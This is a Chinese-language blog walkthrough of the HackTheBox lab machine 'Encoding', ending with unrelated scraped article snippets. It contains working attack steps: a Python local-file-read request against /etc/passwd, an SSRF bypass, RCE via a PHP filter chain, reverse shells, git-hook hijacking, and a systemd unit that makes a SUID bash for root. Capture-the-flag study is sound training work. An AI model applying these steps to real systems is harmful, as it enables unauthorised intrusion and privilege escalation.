HackTheBox - Medium - Linux - Encoding

Encoding

前言

经过10个月左右的网安自学,我想说的第一句话无疑是:感谢TryHackMe。当然,后续的HackTheBox&学院、CRTO等等,对我的帮助都很大。

许多师傅们都在年度总结,我也看了大家都收获很多,都很厉害。我想我就没有必要了,我想在2023这一年里我的博客内容就是最棒的总结和结果.

昨天是我没有打htb靶机并且写wp的一天, 昨晚也是2023年最后一个夜晚,我们TryHackMyOffsecBox的八位师傅们一起在htb打4v4攻防对抗

file

当然啦,最终我也是惜败了,重要是我们八位师傅都使用kook语音交流,氛围很棒,双方的攻防过程也很爽,各位师傅反馈虽然靶机总是出问题,但是整体还是很爽的

file

我方视角:

【2023年最后一晚 - HTB 网络安全4v4攻防对抗 M1n9K1n9第一视角-哔哩哔哩】 https://b23.tv/qdcYL2m

对方视角:

【TryHackMyOffsecBox 跨年活动 4v4 对抗 Cyber Mayhem Randark第一视角-哔哩哔哩】 https://b23.tv/NQup0VD


目前htb 4v4攻防对抗这个游戏已经被我设置为群周常活动,每周日晚开打

就像一年前的今天,我在thm初学并且第一次打koth一样,这是历史以一种类似的方式重新上演了。

file

file

总而言之,保持学习,向大佬学习,继续向前,宁愿做大佬堆里的腊鸡,也不愿意做…


Encoding是一种中等难度的 Linux 计算机,其 Web 应用程序容易受到本地文件读取的攻击。通过读取目标上的任意文件的能力,攻击者可以首先利用 Web 应用程序中的 PHP LFI 漏洞,以“www-data”用户身份访问服务器。然后,他们可以在服务器上发现一个名为“git-commit.sh”的脚本,该脚本允许他们以 James 用户的身份提交代码。通过检查“utils.php”文件,攻击者可以发现该脚本以具有 sudo 权限的“svc”用户身份运行。通过恶意 Git 钩子,攻击者可以获取“svc”用户的 SSH 密钥。该用户可以通过 sudo 以 root 用户身份重启服务。攻击者可滥用此权限,通过修改现有服务文件或创建新服务文件,以 root 身份执行任意代码。


外部信息收集

端口扫描

循例nmap

file

Web枚举

任意文件读取

在api中看到一个

file

尝试一下就可以发现,这里存在LFI,把http改file协议

import requestsjson_data = {'action': 'str2hex','file_url' : 'file:///etc/passwd'}response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)

decode就可以得到明文数据

file

读apache默认配置

<VirtualHost *:80>ServerName haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/htmlErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined</VirtualHost><VirtualHost *:80>ServerName api.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/apiErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost><VirtualHost *:80>ServerName image.haxtables.htbServerAdmin webmaster@localhostDocumentRoot /var/www/imageErrorLog ${APACHE_LOG_DIR}/error.logCustomLog ${APACHE_LOG_DIR}/access.log combined#SecRuleEngine On<LocationMatch />SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"Header always set Retry-After "10" env=RATELIMITED</LocationMatch>ErrorDocument 429 "Rate Limit Exceeded"<Directory /var/www/image>Deny from allAllow from 127.0.0.1Options Indexes FollowSymLinksAllowOverride AllRequire all granted</DIrectory></VirtualHost># vim: syntax=apache ts=4 sw=4 sts=4 sr noet

读/var/www/image/index.php

<?php 
include_once 'utils.php';
include 'includes/coming_soon.html';
?>

utils.php

<?php// Global functions
function jsonify($body, $code = null)
{if ($code) {http_response_code($code);}header('Content-Type: application/json; charset=utf-8');echo json_encode($body);exit;
}function get_url_content($url)
{$domain = parse_url($url, PHP_URL_HOST);if (gethostbyname($domain) === "127.0.0.1") {echo jsonify(["message" => "Unacceptable URL"]);}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$url_content =  curl_exec($ch);curl_close($ch);return $url_content;
}function git_status()
{$status = shell_exec('cd /var/www/image && /usr/bin/git status');return $status;
}function git_log($file)
{$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');return $log;
}function git_commit()
{$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');return $commit;
}
?>

Foothold

从上面两个函数里面的内容来看,/var/www/image下有git存储库

参考这篇文章,我们将手动从.git重建存储库

读HEAD看当前分支的引用

file:///var/www/image/.git/HEAD

file

继续读 .git/refs/heads/master

file

本地创建个目录并且创建git存储库

file

将文件下到本地

.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b

file

git cat-file

file

接着读tree

.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49

file

读actions

file

读action_handler.php,经典文件包含

┌──(ming👻m1n9k1n9-parrot)-[~/test]
└─$ git cat-file -p 2d600ee8a453abd9bd515c41c8fa786b95f96f82
<?phpinclude_once 'utils.php';if (isset($_GET['page'])) {$page = $_GET['page'];include($page);} else {echo jsonify(['message' => 'No page specified!']);
}?>

然而image子域我们是无权访问的,但我们可以通过最开始的文件读取漏洞来转换为SSRF

utils.php中做了限制,我们通过@来绕过

file

现在我们可以读到目标上的文件,同时我发现php://filter 也可用,但是就是无法访问目标机器外的远程文件,无法触发RFI

这篇文章给我们非常详细的讲述了如何绕过这种限制,并且利用iconv包装器通过奇奇怪怪的编码转换,在读取的文件头部中最终插入我们期望的字符串,最终导致RCE

脚本则在github

我们执行id命令

file

file

常规bash reverse shell

file

file

本地横向移动 -> svc

sudo -l

file

发现.git有acl

file

进.git/一看,全有acl

file

既然hooks全都可写,那就是经典hook劫持

我们劫持git commit后会触发的post-commit

file

file

此外,我们还需要通过–work-tree参数设置到其他目录,然后提交其他文件,因为我们在image/下无权新增其他文件

file

nc

file

本地权限提升

sudo -l

file

不出意外的话就要出意外了

从sudo -l这个条目不难看出进攻思路,当前用户svc肯定是对某个服务的配置文件可写,然后我们restart执行命令提权

在/etc/systemd下又发现system有acl,但是不可读

file

然而other可读,我们需要www-data的shell帮助我们

system/里面也是全是acl,随便看一个文件的acl,发现svc可写

file

接下来就相当轻松也很熟悉了,随便搞个配置,抓住ExecStart

[Unit]
Description=My Service[Service]
User=root
Group=root
ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash;chmod +s /tmp/bash"[Install]
WantedBy=default.target

保存到文件并且base64

file

将base64在目标上解码并写入system/,再sudo去restart,我们的老朋友将如期而至

file

root flag还在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/228519.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件工程PPT 笔记摘录(2)

分析软件需求 UML 提供了用例图来分析和描述用例视角的软件需求模型 UML 提供了交互图和状态图来描述行为视角的软件需求模型 UML 提供了类图来描述和分析业务领域的概念模型 顺序图&#xff1a;强调消息传递的时间序 通信图&#xff1a;突出对象间的合作 类图&#xff0…

重温MySQL之索引那些事

文章目录 前言一、概念1.1 索引作用1.2 索引类型1.3 B树索引结构1.4 B树索引源码分析 二、查询计划2.1 explain2.2 id2.3 select_type2.4 table2.5 partitions2.6 type2.7 possible_keys2.8 key2.9 key_len2.10 ref2.11 rows2.12 filtered2.13 Extra 三、索引优化3.1 索引失效3…

C#高级 02异步编程

基础知识 1.什么是异步任务 包含了异步任务的各种状态的一个引用类型 1)正在运行、完成、结果、报错等 2)另有ValueTask值类型版本对于异步任务的抽象 1)开启异步任务后&#xff0c;当前线程并不会阻塞&#xff0c;而是可以去做其他事情 2)异步任务&#xff08;默认&#xff…

Java技术栈 —— Nginx的使用

Java技术栈 —— Nginx的使用 一、认识Nginx二、搭建Nginx环境2.1 在Ubuntu上安装Nginx 三、使用Nginx3.1 配置负载均衡(HTTP) 一、认识Nginx 企业需要运行多个相同的副本&#xff0c;并将负载分散在整个系统集群上&#xff0c;为了高性能的负载均衡&#xff0c;引入了Nginx代…

【Vue2 + ElementUI】el-table中校验表单

一. 案例 校验金额 阐述&#xff1a;校验输入的金额是否正确。如下所示&#xff0c;点击【编辑图标】会变为input输入框当&#xff0c;输入金额。当输入框失去焦点时&#xff0c;若正确则调用接口更新金额且变为不可输入状态&#xff0c;否则返回不合法金额提示 <templat…

Python pycharm编辑器修改代码字体

在pycharm编辑器下修改代码字体&#xff0c;可以按照以下步骤&#xff1a; 点开上图所示的菜单&#xff0c; 再点击File->Settings&#xff0c;进入设置页面。 我们找到Editor下的Font并点选&#xff0c;然后我们就可以在右侧修改字体相关配置了。 这里建议使用等宽字体&…

SparkStreaming与Kafka整合

1.3 SparkStreaming与Kafka整合 1.3.1 整合简述 kafka是做消息的缓存&#xff0c;数据和业务隔离操作的消息队列&#xff0c;而sparkstreaming是一款准实时流式计算框架&#xff0c;所以二者的整合&#xff0c;是大势所趋。 ​ 二者的整合&#xff0c;有主要的两大版本。 kaf…

webpack的深入学习与实战(持续更新)

一、何为Webpack Webpack是 一个开源的JavaScript模块打包工具&#xff0c;其最核心的功能是解决模块之间的依赖&#xff0c;把各个模块按照特定的规则和顺序组织在一起&#xff0c;最终合并为一个JS文件或多个。 二、带宽的换算 目前我们的云服务器带宽为5M 三 、bundle 体…

二叉树题目:根到叶路径上的不足结点

文章目录 题目标题和出处难度题目描述要求示例数据范围 解法思路和算法代码复杂度分析 题目 标题和出处 标题&#xff1a;根到叶路径上的不足结点 出处&#xff1a;1080. 根到叶路径上的不足结点 难度 6 级 题目描述 要求 给定二叉树的根结点 root \texttt{root} root…

maven中dependencyManagement标签

简介 dependencyManagement正如其名&#xff0c;用于项目依赖的统一管理。 在父项目中的pom.xml文件中加入dependencyManagement标签即可完成依赖版本的声明。在声明完成后&#xff0c;子项目&#xff08;module&#xff09;中引用相同的依赖时可以不指定version标签自动引入…

【python报错】UserWarning: train_labels has been renamed targets

UserWarning: train_labels has been renamed targetswarnings.warn(“train_labels has been renamed targets”) 这是一条 Python 警告信息&#xff0c;它表示 train_labels 这个变量已经被重命名为 targets&#xff0c;在将来的版本中可能会移除 train_labels。因此&#x…

51蛋骗鸡595级联1616点阵

缘由如何用单片机独立按键控制16*16LED点阵模块点亮和熄灭?求指导 - 24小时必答区 #include "reg52.h" unsigned char code DuLiAnJian[]{1,2,4,8,16,32,64,128,254,253,251,247,239,223,191,127}; unsigned char code CHARCODE[12][8]{ //{0xFD,0xFD,0x0D,0xED,0x…

如何开发一个google插件(二)

前言 在上一篇文章如何开发一个google插件(一)里主要介绍了google插件的基本结构。 在这篇文章中主要结合reactwebpack进行一个代码演示&#xff0c;源码地址&#xff1a;源码地址 下载源码后打开浏览器的扩展程序管理->加载已解压的扩展程序&#xff0c;即可调试插件 此…

在 Spring 中操作 Redis

&#x1f9f8;欢迎来到dream_ready的博客&#xff0c;&#x1f4dc;相信您对博主首页也很感兴趣o (ˉ▽ˉ&#xff1b;) &#x1f4dc;redis和缓存及相关问题和解决办法 什么是缓存预热、缓存穿透、缓存雪崩、缓存击穿 目录 1、引入依赖 2、对 Redis 的配置文件进行书写 3、S…

Python机器学习原理与算法实现中绘制散点图和线图的操作

作为对数据进行预处理的重要工具之一&#xff0c;散点图&#xff08;Scatter Diagram&#xff09;深受专家、学者们的喜爱。散点图的简要定义就是点在直角坐标系平面上的分布图。研究者对数据制作散点图的主要出发点是通过绘制该图来观察某变量随另一变量变化的大致趋势&#x…

小米SU7汽车发布会; 齐碳科技C+轮融资;网易 1 月 3 日发布子曰教育大模型;百度文心一言用户数已突破 1 亿

投融资 • 3200 家 VC 投资的创业公司破产&#xff0c;那个投 PLG 的 VC 宣布暂停投资了• 云天励飞参与 AI 技术与解决方案提供商智慧互通 Pre-IPO 轮融资• 百度投资 AIGC 公司必优科技• MicroLED量测公司点莘技术获数千万级融资• 智慧互通获AI上市公司云天励飞Pre-IPO轮战…

门控循环单元(GRU)-多输入回归预测

目录 一、程序及算法内容介绍&#xff1a; 基本内容&#xff1a; 亮点与优势&#xff1a; 二、实际运行效果&#xff1a; 三、部分程序&#xff1a; 四、全部代码数据分享&#xff1a; 一、程序及算法内容介绍&#xff1a; 基本内容&#xff1a; 本代码基于Matlab平台编译…

十大排序算法归纳

目录 排序算法的分类 插入排序算法模板 选择排序算法模板 冒泡排序算法模板 希尔排序算法模板 快速排序算法模板 归并排序算法模板 堆排序算法模板 基数排序算法模板 计算排序算法模板 桶排序算法模板 排序算法的分类 插入&#xff1a;插入&#xff0c;折半插入&am…

网站显示不安全警告怎么办?消除网站不安全警告超全指南

网站显示不安全警告怎么办&#xff1f;当用户访问你的网站&#xff0c;而您的网站没有部署SSL证书实现HTTPS加密时&#xff0c;网站就会显示不安全警告&#xff0c;这种警告&#xff0c;不仅有可能阻止用户继续浏览网站&#xff0c;影响网站声誉&#xff0c;还有可能影响网站在…

基于蜉蝣算法优化的Elman神经网络数据预测 - 附代码

基于蜉蝣算法优化的Elman神经网络数据预测 - 附代码 文章目录 基于蜉蝣算法优化的Elman神经网络数据预测 - 附代码1.Elman 神经网络结构2.Elman 神经用络学习过程3.电力负荷预测概述3.1 模型建立 4.基于蜉蝣优化的Elman网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针…